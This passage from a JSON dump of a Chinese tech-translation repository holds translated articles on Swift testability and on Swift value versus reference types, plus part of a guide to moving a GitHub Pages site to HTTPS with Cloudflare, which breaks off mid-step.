    "content": "> * 原文地址：[How Can Swift Language Features Improve Testability?](http://qualitycoding.org/swift-testability/)\n* 原文作者：[Jon Reid](http://qualitycoding.org/contact/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[steinliber](https://github.com/steinliber)\n* 校对者：[Edison-Hsu](https://github.com/Edison-Hsu)  [Graning](https://github.com/Graning)\n\n\n我知道如何编写具有可测试性的 C++ 和 Objective-C ，但是 Swift 在这方面又是怎么做的呢？\n\n一种编程语言的特性和整体感觉可以对我们如何表述代码产生巨大的影响。相信你们中的大多数人都已经知道这一点，因为你们很早就开始学习 Swift，并且已经领先于我，我非常乐于去追赶你们。Swift 的特性就像新的玩具一样！但是这些特性又是如何影响可测试性的呢?\n\n![](http://qualitycoding.org/jrwp/wp-content/uploads/2016/09/tool-contrast@2x.jpg)\n\n## 编写可测试的代码\n\n**透露一个秘密：下面的书本链接是个附带链接，如果你买了其中的任何东西，我可以赚取一定的提成，对你来说不造成任何额外费用。**\n\n单元测试最大的挑战就是编写可测试的代码。这通常就意味这第一次重新学习如何编写代码！这本书 [Working Effectively with Legacy Code](http://www.amazon.com/gp/product/0131177052/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=0131177052&linkCode=as2&tag=qualitycoding-20&linkId=CMFUKIQWYHGBBOSN) 提供了许多技巧来帮助在编写代码时不用考虑其可测试性。这些技术比如说‘子类和方法重载’在处理遗留代码时可以做的很好，所以我也开始在实施 TDD 的过程中使用它们。\n\n但是有一天，我问自己，‘为什么我一直在写遗留代码’\n\n换句话说，这些处理遗留代码的技术是一种权宜之计。难道没有不求助于变通方案便可提高可测试性的方法？\n\n于是我找到了 [Dependency Injection](http://qualitycoding.org/dependency-injection/)。依赖注入的其中一个目的就是提供对它正在测试的代码提供一个测试完整的控制。\n\n基于不同的语言特性可以使依赖注入变得更加简单。构造器注入在 DI 中是一种更好的形式。Swift 默认的参数值可以使构造器注入更加简单。（但是如果你有一个 Swift 闭包属性？并且有一个默认闭包？请看下文！）\n\n## 回顾：在 Objective-C 下 Marvel API 的验证\n\n我第一次学习单元测试和 TDD 是在写 C++ 的时候。而当我开始转而使用 Objective-C，这简直是一股清流！生产代码和测试代码都变得更加易读和易写。\n\n现在我再重新做我的（令人可悲的是还没完成）[TDD sample app](http://qualitycoding.org/tdd-sample-archives/)，这一次是用 Swift 语言。漫威浏览器将会成为一个简单的 app 在漫威宇宙中探索动漫角色。\n\n这其中的一大部分已经知道如何与 Marvel API 交换信息。这开始于[spike solution in Objective-C](http://qualitycoding.org/spike-solution-techniques/)。为了把 spike 变为符合 TDD 的代码，我必须处理两个会使单元测试变得棘手的东西。\n\n* 时间戳\n* MD5 哈希\n\n相比于把所有问题都事先解决，我首先尝试了子类和方法重载这个方法。也就是说我把这两个东西的作用域绑定在方法上，然后创建了一个特殊的子类，这个子类只用于重载这两个方法。\n\n这是一种处理遗留代码的技术，但是在开始时这任然是一个不错的方法。所谓的诀窍不是在这个方面。\n\n我们如何设计可以被替代的东西？我想到了使用[策略模式](https://en.wikipedia.org/wiki/Strategy_pattern)，但是我决定使用代码块来代替。我把这些块变做属性。就是这个想法打开了属性注入的大门。\n\n我们如何可以提供一个默认的代码块？当然，我可以在初始化程序中做到这点。但是这会使初始化程序变得到处都是，我使用了惰性属性－没有推迟它们的初始化，而是把它们移出了初始化程序。\n\n## 测试依赖于时间的代码\n\n在开始使用 Swift 时，一些原先在 Objective-C 的代码实现一直困扰着我。为了保持代码简单，时间戳是作为一个惰性属性实现的，它记录了第一次访问的时间。多个对这个实例的调用都会得到相同的结果。我尝试使用工厂模式来隐藏这个。\n\nJ. B. Rainsberger 对于这个问题有篇很好的文章。这篇文章实际上是关于一个更笼统的问题：使你的抽象层级正确，但是这次的案例是依赖于时间的代码。在[Beyond Mock Objects](http://blog.thecodewhisperer.com/permalink/beyond-mock-objects)中，他描述了一个例子，这个例子在一个阶段会需要不同的实例：\n\n> 我也发现这有点奇怪。我在一个方面简化了依赖，而在另一个方面使依赖变得更加复杂：客户端对于每个请求都必须初始化一个新的控制器，或者换句话说，控制器有请求作用域。这听起来是错误的。\n\n我鼓励你去研究下这篇文章。基本上，与其在问题中有一个方法来决定时间戳，我们可以简单地把时间戳作为参数传递。这是方法注入的一个经典用法。\n\n在 Objective-C 中可以使用级联方法来实现方法注入。接口应该十分清晰：\n\n    - (NSString *)URLParameters;\n    - (NSString *)URLParametersWithTimestamp:(NSString *)timestamp;\n\n第一个方法调用了第二个方法，提供了一个默认值:\n\n    - (NSString *)URLParameters\n    {\n        return [self URLParametersWithTimestamp:[self timestamp]];\n    }\n\nSwift 使它变得更简单。我们可以简单的使用默认参数值而不是使用级联方法。\n\n\t\tfunc urlParameters(\n\t    timestamp: String = MarvelAuthentication.timestamp(),\n\t    /* more to come here */) -> String\n\n其中一个复杂的地方是：Swift 并不允许我们调用另一个实例方法来获取默认的值。所以如果你可以，使它作为一个类型方法实现。（如果不行，我们总是可以依靠级联方法）\n\n## Swift 默认的属性值\n\n当我在 Objective-C 中使用属性注入，我通常会为属性设定默认的值。我们可以在初始化程序中建立小的属性。但是有时候你并不想在初始化程序中的代码是和程序无关的。或者有的时候它并不小－它是一个代码块。在这些时候，我会使用 Objective-C 中的惰性属性用法。\n\n这是我如何实现计算 MD5 哈希值的代码块：\n\n    - (NSString *(^)(NSString *))calculateMD5\n    {\n        if (!_calculateMD5)\n        {\n            _calculateMD5 = ^(NSString *str){\n                /* Actual body goes here */\n            };\n        }\n        return _calculateMD5;\n    }\n\n但是 Swift 允许我们在属性定义的地方设置默认的属性值。这是一个有默认值的闭包属性：\n\n\t\tvar md5: (String) -> String = { str in\n\t    /* Actual body goes here */\n\t}\n\n哇，这也简单太多了吧！\n\n## 闭包实验\n\n这是我主要测试现在看起来的样子，这还是不错的：\n\n    func testUrlParameters_ShouldHaveTimestampPublicKeyAndHashedConcatenation() {\n    \t\t\tsut.privateKey = \"Private\"\n    \t\t\tsut.publicKey = \"Public\"\n    \t\t\tsut.md5 = { str in return \"MD5\" + str + \"MD5\" }\n    \n    \t\t\tlet params = sut.urlParameters(timestamp: \"Timestamp\")\n    \n    \t\t\tXCTAssertEqual(params, \"&ts=Timestamp&apikey=Public&hash=MD5TimestampPrivatePublicMD5\")\n    \t}\n\n正如你可以看到的，我覆盖了 MD5 的闭包用于保持测试的可理解性。这个测试表明产生的 URL 参数是对的。你可以看到如何使用哈希工作的。\n\n但是随后我想到，为什么要覆盖一个闭包属性呢？为什么不把 MD5 算法当作一个参数传进去呢？如果我们把它作为最后一个参数，那么我们就可以使用尾部闭包语法：\n\n    func testUrlParameters_ShouldHaveTimestampPublicKeyAndHashedConcatenation() {\n            sut.privateKey = \"Private\"\n            sut.publicKey = \"Public\"\n    \n            let params = sut.urlParameters(timestamp: \"Timestamp\") { str in\n                return \"MD5\" + str + \"MD5\"\n            }\n    \n            XCTAssertEqual(params, \"&ts=Timestamp&apikey=Public&hash=MD5TimestampPrivatePublicMD5\")\n        }\n\n这代码的可读性更强吗？老实说，我认为它甚至变得有点更糟糕了。我使用空行把我的测试分成了 ‘Three A's’ （ Arrange（安排）, Act（执行）, Assert（断言））。我认为这个特定的闭包弄乱了我的执行部分，同时它也没有名字，这使人更难理解它代表的是什么。\n\n但是我不得不设法找出来！\n\n## 可测试的 Swift\n\n以下使我至今为止学到的 Swift 是如何使我们可以简单写出写兼顾可测试性和清晰的代码\n\n**默认:** Swfit 的默认值简化了许多依赖注入技术：\n\n*   构造注入：在初始化器中使用默认参数\n*   属性注入：使用默认的属性值\n*   方法注入：在任何方法中使用默认的参数值\n\n**闭包:** Swift 闭包的一致的语法可以在多种地方引进接缝.\n\n*   闭包属性\n*   闭包参数\n*   因为语法并没有大范围的改动，重构比较简单\n*   因为函数是闭包的，你可以在任何想要的地方抽取想要的闭包。为什么要在一行里做所有事呢？\n\n我并不想滥用闭包。选择是，总会有一个合适的抽象层级等待被发现然后使用于策略模式。但是每一个缝隙都是一个提高可测试性的机会\n\n我仍然只学了 Swift 的皮毛。我从 Joe Masilotti 的文章 [Better Unit Testing with Swift](http://masilotti.com/better-swift-unit-testing/) 了解到协议提供了极大的机会。但是其它语言特性是如何影响可测试性的？比如说枚举或者泛型？跟着我来把它们探索清楚，测试驱动的 Swift，[subscribe today](http://qualitycoding.org/subscribe/) ！\n\n**你使用了哪些 Swift 的特性来提高可测试性？我应该探索哪些特性？可以在下面的评论中留言让我知道**\n\n"
  },
  {
    "path": "TODO/swift-value-types-reference-types.md",
    "content": "> * 原文地址：[When and how to use Value and Reference Types in Swift](https://khawerkhaliq.com/blog/swift-value-types-reference-types/)\n> * 原文作者：[KHAWER KHALIQ](https://khawerkhaliq.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/swift-value-types-reference-types.md](https://github.com/xitu/gold-miner/blob/master/TODO/swift-value-types-reference-types.md)\n> * 译者：[Deepmissea](http://deepmissea.blue)\n> * 校对者：[VernonVan](https://github.com/VernonVan)，[LeviDing](https://leviding.com)\n\n# Swift 中的值类型与引用类型使用指北\n\n在本文中，我们将探索值类型与引用类型语义的不同之处，在 Swift 中使用值类型的一些鲜明特征和关键的好处。然后我们会关注在设计程序时，何时使用值类型或者引用类型。\n\n## Swift 中的值类型和引用类型\n\nSwift 是一种多范式的编程语言。它有类，这是构成面向对象编程的基石。类在 Swift 中可以定义属性和方法，指定构造器，符合协议，支持集成和多态。Swift 也是一种面向协议的编程语言，通过功能丰富的协议和结构体，可以在没有继承的情况下实现抽象和多态。在 Swift 中，函数是第一类型，它可以赋给变量，作为参数和返回值在多个函数之间传递。因此 Swift 也适用于函数式编程。\n\n对于多数面向对象语言的开发者来说，Swift 中最大的不同就是结构体的丰富功能。除了继承以外，你在一个类里可以做什么，在结构体中同样可以做到。这就引发了问题 —— 何时并如何使用结构体和类。更通俗的说，问题是在 Swift 中何时并如何使用值类型和引用类型。\n\n为了完整需要提醒一下，Swift 中的值类型并不仅仅只有结构体。枚举和元组也是值类型。同样地，引用类型并不只有类，函数也是引用类型。不过函数、枚举和元组在使用时更加特定化。Swift 在值类型和引用类型的争论中心都集中在结构体和类上。这是本文中的主要重点，所以在本文中术语值类型和引用类型可以和术语结构体和类相互转换。\n\n现在让我们从一些基本原理开始，即值和引用语义的区别。\n\n## 值与引用\n\n使用值语义，变量和分配给变量的数据在逻辑上是统一的。由于变量存在于栈上，值类型在 Swift 中被称为栈分配。确切地说，所有的值类型实例并不一直在栈上。一些可能只存在于 CPU 寄存器中，另一些可能实际在堆上分配。从逻辑上讲，值类型的实例可以被认为是**包含**在被赋值的变量之中。在变量和值之间存在一对一的关系。变量所包有的值不能独立于变量进行操作。\n\n另一方面，在使用引用语义时，变量和数据是不同的。引用类型的实例在堆中分配，变量只包含一个对存储数据的内存位置的引用。一个实例引用多个变量是可以的也是很常见的。任何这些引用都可以用来操作实例。\n\n这会对将值或引用类型实例分配给新变量或传递给函数时发生一些影响。由于值类型实例只能拥有一个所有者，实例被复制，并将副本分配给新变量或传入某函数。每个副本都可以修改而互不影响。对于引用类型，只有引用被复制，并且新变量或函数获得对同一实例的新引用。如果使用任何引用修改引用类型实例，则会影响所有其他引用持有者，因为它们持有的都是对同一实例的引用。\n\n我们来看看代码。\n\n```\nstruct CatStruct {\n    var name: String\n}\n\nlet a = CatStruct(name: \"Whiskers\")\nvar b = a\nb.name = \"Fluffy\"\n\nprint(a.name)   // Whiskers\nprint(b.name)   // Fluffy\n```\n\n我们定义了一个结构体表示一只猫，有一个 `name` 属性。我们创建一个 `CatStruct` 实例，把它赋给一个变量，然后把这个变量赋给一个新的变量，并用新变量改变 `name` 属性。由于结构体是值语义，赋值给新变量的行为会导致实例被复制，然后我们得到了两个不同名字的 `CatStruct`。\n\n现在，我们用类做同样的事：\n\n```\nclass CatClass {\n    init(name: String) {\n        self.name = name\n    }\n\n    var name: String\n}\n\nlet x = CatClass(name: \"Whiskers\")\nlet y = x\ny.name = \"Fluffy\"\n\nprint(x.name)   // Fluffy\nprint(y.name)   // Fluffy\n```\n\n在这种情况下，用新变量改变 `name` 属性也会修改第一个变量的 `name` 属性。这是因为类是引用语义，赋值给新变量的行为不会创建一个新的实例，两个变量持有对同一个实例的引用，这导致**隐式数据共享**，这可能会对你如何并何时使用引用类型产生影响。\n\n## 可变性的不同概念\n\n为了理解可变性在值类型和引用类型之间的差异，我们必须要分清楚**变量可变性**和**实例可变性**。\n\n我们上面已经知道，值类型实例和被赋值的变量在逻辑上是一致的。因此，如果变量是不可变的，那无论该实例是否有可变属性或者可变方法，变量都会忽略让实例不可变。只有当值类型的实例赋给一个可变变量时，实例的可变性才可以起作用。\n\n对于引用类型，实例和被赋值的变量是不同的，因此他们的可变性也是不同的。当我们声明一个不可变的变量引用一个实例，我们能确定的是，这个变量的引用永远不会改变。即它总会指向同一个实例。实例的可变属性还是可以通过这个或者其他的引用改变。如果要让类实例不可变，必须保证它的所有存储属性都是不可变的。\n\n在刚才的代码中，我们看到，可以声明 `a` 将第一个 `CatStruct` 实例作为 `let` 常量，因为它不会被修改。而 `b` 必须被声明为一个 `var`，因为我们修改了它的 `name` 属性和值。对于 `CatClass`，`x` 和 `y` 都被声明为 `let` 常量，然而我们能修改 `name` 属性。\n\n## 定义为值类型的特征\n\n为了能更好的理解什么时候以及如何使用值类型，我们需要看一下定义为值类型的一些特征：\n\n1. **基于属性的相等：**任何两个同类型值，其属性相等，都可以认为他们是相等的。考虑一个`货币`类型，它表示货币具有货币和金额属性。如果我们创建一个 5 美元的实例，它与任何其他 5 美元实例都相等。\n2. **淡化的标识及生明周期：**值类型没有固定的身份。它仅由其属性而定义。对于数字 2 或者 “Swift” 这种简单的值就是这种情况。对于复杂的值来说也是如此。值也没有需要保存状态变化的生命周期。它可以随时被创建、销毁或重建。代表 5 美元的`货币`实例，等于代表 5 美元的任何其他实例，无论这两个实例是何时或如何创建。\n3. **可替代性:**没有明确的标识和生命周期给了值类型可替代性，这意味着，如果两个实例相等，即它们通过了基于属性的相等测试，那么任何实例都可以被自由地替代。回到我们的`货币`类型例子，一旦我们创建了一个代表 5 美元的实例，程序可以根据情况自由的创建或放弃这个实例的副本。无论何时我们需要递交一个 5 美元的实例，这个 5 美元的实例是否是先前创建的那个已经无关紧要，我们要关心的是值的属性。\n\n\n## 使用值类型的优点\n\n#### 1. 效率\n\n引用类型在堆上分配，这比在栈上分配要昂贵的多。为了确保在引用类型不需要时内存被释放，需要保持一个对每个引用类型的所有活动的引用计数，并在没有引用时销毁实例。值类型没有这种开销，所以在创建和复制上很高效。值类型的复制是廉价的，因为值类型的实例在不变(constant)的时间被复制。\n\nSwift 实现了内置的可扩展的数据结构，比如 `String`，`Array`，`Dictionary` 等等。然而，这些并不能在栈上分配，因为他们的大小在编译时是不知道的。为了能有效地使用堆分配并且保有值语义，Swift 使用一种名为**写时复制**的优化技术。这意味着每个复制的实例都是逻辑意义上的副本，只有当复制的实例发生变化时才会在堆上创建实际的副本，在此之前，所有的逻辑副本都会指向相同的底层实例。因为更少的副本被创建，并且在创建的时候，涉及了固定数量的引用计数操作，所以提供了更好的性能。如果需要，这种性能优化还可以对自定义值类型使用。\n\n#### 2. 可预测的代码\n\n使用引用类型时，持有对实例的引用的代码的任何部分都不能确定该实例包含的内容，因为可以使用任何其他引用来修改该实例包含的内容。由于值类型实例在复制时没有隐式数据共享，所以我们不需要考虑代码的某部分的行为会影响其他部分行为所造成的意外后果。而且，当我们看到一个变量声明为 `let` 常量并持有一个值类型的实例时，我们可以肯定，无论如何定义值类型，该值都不能被修改。这为代码的行为提供了强有力的守护以及细粒度的控制，让代码变的易于推理和预测。\n\n有人可能会争辩说，可以编写代码，使得每次将引用类型实例交给新所有者时，都会创建一个副本。 但是这会导致很多防御性复制，这样效率会非常低，因为复制一个引用类型会带来很大的开销。如果正在复制的引用类型实例具有也是引用类型实例的属性，并且我们希望避免任何隐式数据共享，则每次都必须创建**深度拷贝**，这会使让性能更糟。我们也可以尝试通过使所有引用类型不可变来解决共享状态和可变性的问题。但是这仍然会涉及到很多低效率的复制，而且无法改变引用类型的状态会失去引用类型的用意。\n\n#### 3. 线程安全\n\n值类型实例可以在多线程环境中使用，而不用担心一个线程正在改变另一个线程实例的状态。由于没有竞态条件和死锁，所以没有必要实现同步机制。使用值类型编写多线程的代码变得更简单、更安全、更高效。\n\n#### 4. 无内存泄漏\n\nSwift 使用自动引用计数，并在没有引用的情况下，释放引用类型实例。这解决了正常事件过程中的内存泄漏问题。不过，通过强循环引用仍会内存泄漏，即当两个类实例彼此强引用互相阻止彼此的释放。当一个类与一个闭包（在 Swift 中也是引用类型）彼此强引用也会发生相同的情况。由于值类型没有引用，所以内存泄漏的问题也就不存在。\n\n#### 5. 易于测试\n\n因为引用类型的生命周期会保有状态，所以在对引用类型进行单元测试时，经常使用模拟框架来观察各种方法被调用时对测试对象的状态和行为的影响。而且由于引用类型实例的行为会随状态的变化而改变，通常需要设置代码来保证测试对象处于正确的状态。对值类型而言，要关心的全部是值类型的属性。所以我们需要做的，就是创建一个新的值，这个值的属性和期望的值属性相同。\n\n## 用值类型和引用类型设计程序\n\n值类型和引用类型不应该被看作是相互竞争的。他们不同的语义和行为，让他们适用于不同的情景。我们的目的是理解并运用值和引用语义，让他们以最能满足应用目标的方式结合起来。\n\n#### 1. 使用引用类型模拟具有标识的实体\n\n几乎所有现实世界领域都有在生命周期里保持着标识和状态的实体。这些实体应该使用类来建模。\n\n考虑有一个使用`员工`类型来代表员工的薪酬应用。简单地，假设只存储员工的姓和名。可能有两个或者更多的`员工`实例的姓名相同，但是这并不能让他们相等，因为在现实世界中，这些实例代表着不同的员工。\n\n如果把一个`员工`类实例赋给一个新的变量或者把它传到一个函数里，新的引用会指向相同的实例。这是我们可以确定的。例如，如果我们在应用的某个模块中使用一个引用来记录员工的工时，那么当应用另一个模块计算每月工资时，它使用的都是具有正确工时的同一个实例。同样，如果在某个位置更新员工的地址，那么我们对员工的所有引用都会更新为正确的地址，因为他们是对同一实例的引用。\n\n如果尝试使用结构体来模拟员工的话会导致错误并且前后矛盾，因为每次把`员工`实例赋给一个变量或者传给一个函数时，它会被复制。程序中不同的部分会以它们各自的实例结束，并且其中某部分状态改变并不会在其他部分体现出来。\n\n#### 2. 用值类型来封装状态和暴露行为\n\n虽然有标识和生命周期的实体需要用类来建模，但是需要用值类型来封装它们的状态，表示相关的业务并且暴露行为。\n\n继续以`员工`类型为例。假设要保留每个员工的个人数据，工资绩效信息。我们可以创建`个人信息`，`工资`和`绩效`值类型，将状态、业务规则和行为这些元素联系在一起。这可以让类不那么臃肿，因为它只负责维护标识，而它包含的值类型实例会处理该状态的各种元素和相关行为。\n\n这也非常符合**单一原则**。例如，相比于`员工`类型不得不实现一些方法来暴露各种层面的行为，客户代码只对员工的绩效感兴趣，所以交给绩效实例来处理。因为处理的是值类型，我们无需担心隐式数据共享与客户端背后变化，而对`员工`实例的状态产生影响。\n\n这种方式也更加适用于多线程。表示引用类型实例状态的各种元素的值类型实例副本，可以自由地切换到不同线程上的进程，而不需要同步。这可以提高性能，并提高应用交互的响应。\n\n#### 3. 上下文的重要性\n\n要注意的是，有时值类型和引用类型的选择是由上下文驱动的。应用开发不是绝对意义上的对现实世界的建模练习，而是建模问题的具体方面，以满足给定的用例。因此，要判断在应用程序的上下文中使用值语义还是引用语义，具体取决于实体在相关领域问题中扮演的角色。\n\n想一想前面介绍的 `CatStruct` 和 `CatClass` 类型。我们更愿意使用哪一种模型来模拟宠物猫呢？由于实例将代表一只真正的猫，所以应该使用一个类。例如，当我们把猫交给兽医来打疫苗时，我们不希望兽医给一只猫的副本打疫苗，如果使用一个结构体，就会发生这样的事情。但是，如果我们正在设计一个处理宠物猫的饮食习惯的应用，那么就应该使用结构体来处理一般意义上的猫，而不是寻找一只特定标识的猫。对于这样的应用，我们的 `CatStruct` 不会拥有 `name` 属性，但可能有消耗食物类型，每天的服务数量等的属性。\n\n不久前，我们使用`货币`类型作为一个值为模型的概念的绝佳例子。在银行，金融或其他应用的情况下，我们只关心货币的属性，即货币的多少和种类。但是，如果我们正在建立一个实物货币的印刷，分配和最终处理的应用，我们就需要将每个纸币视为具有唯一标识和生命周期的实体。\n\n相同地，对于为轮胎制造商开发的应用程序来说，每个轮胎都可能是一个具有唯一标识和生命周期的实体，用于销售点以追踪退货，保修索赔等。但是，对制造汽车的公司而言，他们也许不想看轮胎的属性来跟踪哪辆车使用哪个轮胎，尽管他们可以看到他们制造的汽车具有独特的标识和生命周期。\n\n#### 4. *基于属性相等*的测试\n\n值类型没有固定的标识来区分它是否是那个类型实例。唯一比较它们的方式就是比较它们的属性。事实上，基于属性相等性的概念在值类型中是非常基本的，所以决定一个特定的类型是值类型还是引用类型，它可以作为一个指引。如果一个类型的两个实例不能仅使用基于属性的相等来比较的话，那我们就要处理一些元素的标识，这通常意味着他们是引用类型，或者它们可以用值和引用语义区分。\n\n实际上，这意味着要比较任何两个实例是否相等都要使用 `==` 运算符。因此，所有的值类型都必须符合 `Equatable` 协议。\n\n#### 5. 结合值类型和引用类型\n\n如上面提到过的，把引用类型的属性封装为值类型的实例，以达到封装状态，表示业务规则并且暴露行为的目的是非常可取的。这些值类型可以高效传递，而不用担心意外后果，如线程安全性等。但是，值类型应该保存引用类型的实例吗？这通常应该避免，因为在值类型上使用引用类型属性会引入堆分配，引用计数和隐式数据共享，影响值类型的性能和其他优点。事实上，它会导致值类型失去其基于属性的平等，淡化标识和可替代性的特点。因此，重要的是要遵守规则，不能以损害两者完整性的方式来结合值与引用语义。\n\n有很多方式描述了值类型和引用类型是如何在实际应用中工作的。如 [Andy Matuschak](https://twitter.com/andy_matuschak) 在[这篇文章](https://www.objc.io/issues/16-swift/swift-classes-vs-structs/)中所说的：把对象看作是可预测的纯净的值层之上的一个轻薄的必要的层。在 Andy 的文章的参考文献部分是 [Gary Bernhardt](https://twitter.com/garybernhardt) 的[这次演讲](https://www.destroyallsoftware.com/talks/boundaries)，一种使用他称之为的函数性核心和命令式外壳来构建系统的方法。函数核心由纯粹的值，特定领域逻辑和业务规则组成。很容易得出，这套系统有利于并发并且易于测试，因为它通过命令式外壳与外部依赖隔离，因此保留了状态并连接到用户界面，持久化机制，网络等等。\n\n## Swift 标准库与 Cocoa 框架\n\nSwift 的标准库主要由值类型组成。所有的内建基本类型和集合都是用结构体实现的。构成 Cocoa 框架的部分主要由类构成。有些地方需要类的原因是，类对于 MVC，用户界面元素，网络连接，文件处理等等是很恰当的方式。\n\n但是 Cocoa 在 Foundation 框架里也有很多类是值类型的，不过作为引用类型而存在，因为他们是用 Objective-C 来编写的。这就是 Swift 标准覆盖的地方，为越来越多的 Objective-C 引用类型提供了值类型的桥接。更多桥接类型和 Swift 与 Cocoa 框架之间交互的细节，可以看看[苹果开发者网站上的这一页](https://developer.apple.com/library/content/documentation/Swift/Conceptual/BuildingCocoaApps/WorkingWithCocoaDataTypes.html#//apple_ref/doc/uid/TP40014216-CH6-ID61)。\n\n## 结论\n\nSwift 提供了强大而高效的值类型，让我们的代码更加高效，可预测而且线程安全。这就需要理解值和引用语义之间的差异，才能以最能满足应用程序目标的方式来结合值类型和引用类型。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/switching-site-https-shoestring-budget.md",
    "content": "\n> * 原文地址：[Switching Your Site to HTTPS on a Shoestring Budget](https://css-tricks.com/switching-site-https-shoestring-budget/?utm_source=SitePoint&utm_medium=email&utm_campaign=Versioning)\n> * 原文作者：[CHRISTOPHER SCHMITT](https://css-tricks.com/author/schmitt/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/switching-site-https-shoestring-budget.md](https://github.com/xitu/gold-miner/blob/master/TODO/switching-site-https-shoestring-budget.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[ahonn](https://github.com/ahonn), [Cherry](https://github.com/sunshine940326)\n\n# 低成本将你的网站切换为 HTTPS\n\nGoogle 的 Search Console 小组最近向所有站长发了一封 email，警告 Google Chrome 将从 10 月起，在包含表单但没有使用安全措施的网站中显示警告信息。\n\n下图为我收件箱里的通知：\n\n![图为 Google Search Console 团队发来的关于 HTTPS 支持的通知](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_610,f_auto,q_auto/v1504368007/https-google-letter_h3h2a7.jpg)\n\n如果你的网站还不支持 HTTPS，那这个通知就直接与你相关。即使你的网站并没有用到表单，也应当早日将网站迁移为 HTTPS。因为现在这项措施只不过是 Google“标识非安全网站”策略的第一步。他们在消息中明确表示：\n\n> 这个新的警告仅仅是将所有通过 HTTP 提供服务的页面标记为“不安全”的长期计划的一部分。\n\n![当前 Chrome 用以表示支持 HTTP 的站点以及支持 HTTPS 站点的 UI 设计](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_401,f_auto,q_auto/v1504414046/chrome-http-secure-ui-v2_g208mc.png)\n\n问题在于：安装 SSL 证书、将网站 URL 从 HTTP 转换为 HTTPS、以及将所有链接和图像链接等都换成 HTTPS 并不是一项简单的任务。谁会为了自己的个人网站去费时费钱呢？\n\n我使用 GitHub Pages 免费托管了一系列的网站和项目，其中的一部分还使用了自定义域名。因此，我想看看我能否快速、低成本地将这些网站从 HTTP 迁移为 HTTPS。最后我找到了一种相对简单且低成本的方案，希望能够帮助到你们。下面让我们来探究一下这种方法吧。\n\n## 对 GitHub Pages 强制启用 HTTPS\n\n托管在 GitHub Pages 上的网站可以通过设置很方便地启用 HTTPS。进入项目设置页面，勾上“Enforce HTTPS”即可。\n\n![在 GitHub Pages 设置中启用项目的 HTTPS 支持](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_789,f_auto,q_auto/v1504368069/https-github-pages_iekrru.png)\n\n## 但我们仍然需要 SSL\n\n第一步十分的简单，但它并不符合 Google 对安全网站定义的要求。我们启用了 HTTPS 设置，但是没有为使用[自定义域名](https://help.github.com/articles/using-a-custom-domain-with-github-pages/)的网站安装、提供 SSL 证书。直接使用 GitHub Pages 提供的网址的站点已经完全符合要求了，但是使用自定义域名的站点必须要进行一些额外的步骤，让其在域名的层面上使用安全证书。\n\n还有个问题，SSL 证书虽然并不贵，但也需要花一笔钱，在你尽可能希望降低成本时可不想为此增加花费。所以得找个办法解决这个问题。\n\n## 我们可以通过 CDN 免费试用 SSL！\n\n在这儿就不得不提 Cloudflare 了。Cloudflare 是一个内容分发网络（CDN）提供商，同时它也提供分布式域名服务，这也意味着我们可以利用他们的网络来设置 HTTPS。使用这个服务真正的好处在于他们提供了免费的方案，让这一切成为可能。\n\n另外，值得一提的是在 CSS-Tricks 论坛里也有[许多帖子](https://css-tricks.com/?s=cdn)描述了使用 CDN 的好处。虽然这篇文章中主要探讨的是安全性问题，但其实 CDN 除了能帮你使用 HTTPS 之外，还是降低服务器负载、[提升网站性能](https://css-tricks.com/adding-a-cdn-to-your-website/)的绝佳方式。\n\n在下文中，我将简述我使用 Cloudflare 连接 Github Pages 的步骤。如果你还没有 Cloudflare 账号，你可以[点击这儿注册账号](https://www.cloudflare.com/a/sign-up)再跟着步骤操作。\n\n### 第一步：选择“+ Add Site”选项\n\n首先，我们需要告诉 Cloudflare 我们使用的域名。Cloudflare 将会扫描 DNS 记录，以验证域名是否存在，并检查域名的公开信息。\n\n![Cloudflare 的“Add Website”设置](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_992,f_auto,q_auto/v1504368119/https-cloudflare-add-website_m8cxbg.png)\n\n### 第二步：查看 DNS 记录\n\nCloudflare 扫描 DNS 记录后会将结果展示出来供你查看。如果 Cloudflare 认为这些信息符合要求，就会在“Status”列中显示一个橙色的云的图标。你需要检查这份报告，确认其中的信息与你在域名注册商中留的信息相符，如果没问题的话，点击“Continue”按钮继续。\n\n![Cloudflare 给出的 DNS 记录报告](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_959,f_auto,q_auto/v1504368181/https-cloudflare-nameservers_yvfca2.png)\n\n### 第三步：获取免费方案\n\nCloudflare 会询问你需要哪种级别的服务。瞧~你可以在这儿选择“免费”选项。\n\n![Cloudflare 的免费方案选项](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_997,f_auto,q_auto/v1504368222/https-cloudflare-free-plan_oxgbp0.png)\n\n### 第四步：更新域名解析服务器（NS 服务器）\n\n这一步中，Cloudflare 给我们提供了其服务器地址，我们要做的就是将这个地址粘贴到自己的域名注册商中的 DNS 设置里。\n\n![在域名注册商设置中使用 Cloudflare 提供的域名解析服务器](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_976,f_auto,q_auto/v1504368295/https-cloudflare-nameservers-2_yhr2up.jpg)\n\n这一步其实并不困难，但你可能会有些疑惑。你的域名注册商可能会提供这一步的操作指南。例如[点此查看 GoDaddy 